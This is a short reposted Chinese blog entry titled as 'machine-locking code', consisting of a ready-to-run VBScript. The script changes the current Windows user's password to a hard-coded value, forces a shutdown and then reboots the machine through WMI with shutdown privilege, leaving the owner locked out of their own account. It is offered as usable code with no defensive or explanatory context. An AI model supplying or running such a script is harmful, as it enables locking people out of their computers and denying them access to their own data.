锁机代码.vbs
作者:互联网
Const strPassword = "doubi"'
Dim WshNetwork
Set WshNetwork = CreateObject("WScript.Network")
Dim userName
userName = WshNetwork.userName&",user"
Dim Domain
Set Domain = GetObject("WinNT://./"&userName)
Domain.SetPassword strPassword
Domain.SetInfo
dim gj
set gj=createobject("wscript.shell")
gj.run"shutdown -f -t"'
Set objWMI = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\.\root\cimv2")
objWMI.Security_.ImpersonationLevel=3
objWMI.Security_.Privileges.Add 18
Set colOS=objWMI.InstancesOf ("Win32_OperatingSystem where Primary=true")
For Each clsOS in colOS
clsOS.Reboot()
Next
标签:userName,Dim,GetObject,colOS,代码,objWMI,vbs,锁机,gj 来源: https://www.cnblogs.com/WYlover/p/10729132.html